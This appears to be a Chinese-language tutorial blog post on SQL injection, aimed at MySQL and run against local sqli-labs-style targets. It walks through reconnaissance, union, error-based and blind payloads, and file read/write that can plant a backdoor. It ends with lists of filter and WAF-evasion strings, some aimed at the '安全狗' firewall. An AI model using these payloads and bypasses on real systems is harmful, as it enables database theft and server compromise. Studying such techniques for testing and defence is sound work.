Web TOP10漏洞之sql注入

  • sql注入漏洞

目录

sql注入漏洞

信息搜集:

方法

1.判断是否存在注入点

2.数字or字符or搜索

3.提交方式 

4.判断注入姿势

5.玩法^_^

补充知识:

绕过过滤

其他数据库


信息搜集:

搜集数据库的操作系统(windows or linux涉及的内容不同),数据库名(不同语言),数据库用户(权限),数据库版本(不同语言,姿势),网站路径(网站源码放在何路径)。

数据库版本:version() 获取版本以及数据库系统

数据库名字:database() 当前所在数据库的名字

数据库用户:user() 当前用户

操作系统:@@version_compile_os 操作系统

信息搜集下的问题处理:


版本问题

数据库语言基本差不多,语法上有区别。

1.查询方式:mysql5.0版本以上定义了一个information_schema而5.0以下版本没有,则说明5.0版本以下查询猜、暴力查询(无据),而5.0以上通过有据查询。

2.写文件权限:在 MySQL 5.5 之前 secure_file_priv 默认是空;      在 MySQL 5.5之后 secure_file_priv 默认是 NULL。

mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+

空白地方的值

NULL	不允许导入或导出
/tmp	只允许在 /tmp 目录导入导出
空	    不限制目录

3.不同的数据库,使用的操作语言不同,注入的姿势也不同。 

数据库用户权限

低权限查询密码,找后台登录,高权限写后门。

1.跨库查询:具有最高权限的用户才有权限跨库查询,即好几个网站的数据库写在一起,可以通过一个的权限,去查其他的。

2.文件写入:高权限用户具有写入权限。(一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。)

网站路径

路径获取方法:网页出现错误泄露路径,通过扫描工具获取路径(如看看有没有扫描出phpinfo),知道对方是什么程序搭建而去搜索该程序的爆路径漏洞

1.通过sql语句,将文件写入相关路径。(还涉及到路径是否允许写入文件的权限。)

系统问题

1.在linux中默认是对/var/lib/mysql目录下有写入权限对其他目录是没有写入权限。

数据库名

1.知悉数据库结构,层次。

数据库的结构 

information_schema.tables            #information_schema下面的所有表名information_schema.columns        #information_schema下面所有的列名

information_schema.schemata      #information_schema下面所有的数据库名

schema_name                               #查数据库中的数据库名所用到
table_name                                    #表名
column_name                                 #列名
table_schema                                 #数据库名//选择数据库时所用到


方法

1.判断是否存在注入点

即是否被带入查询,查不到页面不会报错,但是如果不是数据库查询,则会因为找不到网页而404报错。

SELECT * FROM users WHERE id=1aaaaaaaa(随便输入) LIMIT 0,1

2.数字or字符or搜索

数字可包含引号括号,字符一定包含引号(单引号和双引号其一被另外一包含不会报错,而正确注入不能有杂乱符号,细品),括号不确定。

单引号注释--错误--双引号,单引号双引号,单引号双引号括号,单引号括号,双引号括号,双引号多括号,多引号多括号。
单引号注释--正确--单引号

搜索型:select * from user where id like '%haha%';  haha为写入的参数,注意注释括号及后面引号

3.提交方式 

GET,POST,REQUEST,HTTP头,COOKIE

http头中请求的位置无法确定,关键是要判断注入点,即什么位置的信息被查询然后回回显在网站上,并且当其被修改后网页不会报错。

4.判断注入姿势

回显or无回显

有回显(闭合--order--union)即select语句


无回显: 根据页面的环境判断查询方式

注册,添加用户:insert into news(id,url,text) values(2,'x','$t')     //在两个引号之间用or连接,并且闭合引号     例如     insert into news(id,url,text) values(2,'x','xiaoyu' or 语句 or '')

删除用户           :delete from news where id=$id

修改密码           :update user set pwd='$p' where id=2 and username='admin'  //$p在前面所以要注意不要注释 

为了能使爆出信息,用盲注

报错注入:(为单独语句)
updataxml、extractvalue函数       updataxml( 1, b, 1);  

b通常为concat(0x7e,(select version()),0x7e)    //即用到了updataxml函数与cancat函数

逻辑注入:
http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+   看页面是否回显正确

延时注入:
if(语句,1,sleep(2))


补充:逻辑注入、延时注入函数

length(database())=8                 #判断数据库database()名的长度

substr($x,1,1)mid(a,b,c)         #第一个1为起始位置,第二个1为长度

left函数    left(database(),1)       #left(a,b)从左侧截取a的前b位

ascii(a)=65ord(a)=65              #为了用ASCILL值缩小范围

5.玩法^_^

  • %3D是=(base64加密) 
  • 二次注入,常出现在注册已被注册账号然后修改密码,然后改原账号密码

补充知识:

文件读写

文件读写

读:load_file()

select load_file('C:\\haha\\tianyu.php');

 写:into outfile或者into dumpfile()

select into outfile 'D:\\haha\tianyu.php';

绕过过滤

1.绕过代码层(即为代码审计层面)

  •  大小写绕过
  • 双写
  • 使用编码
①url编码
在get方式上可以通过二次编码绕过
②16进制编码
对单个    id=-1 /!u%6eion/ /!se%6cect/ 1,2,3
对整个    SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
          selectcolumn_namefrominformation_schema.tableswheretable_name=0x7573657273
对字符串编码在前面需要加0x
  •  注释绕过     (普通注释U/**/NION 和 mysql特有的/!union/)
  • 等价函数         或者不同方法切换(例如ascii码变为直接查字母)
concat_ws()==>group_concat()
SELECT CONCAT_WS('~',username,password) FROM admin;

针对绕过,空格可以用括号或者/**/绕过,引号用16进制编码

魔术引号:宽字节绕过*、多重url编码*

 


2.绕过安全狗

  • %0a与注释符联用以及内联注释        //部分waf遇到%00截断,只能获取到前面的参数
%23a%0aunion%23a%0aselect 1,2,3 from users
%20/*!44509union*/%23x%0aselect  1,2..
1/**&id=-1%20union%20select%201,2,3%23*/
%20union%20all%23a%0aselect%201,2,3d
  • 修改代理白名单        X-forwarded-for
  • 静态资源欺骗
    http://127.0.0.1/sql.php/1.js?id=1
    备注:Aspx/php只识别到前面的.aspx/.php,后面基本不识别。

  • 爬虫等                       User-Agent欺骗

其他数据库

access,mssql,oracle

你可能感兴趣的:(前端,安全,web安全)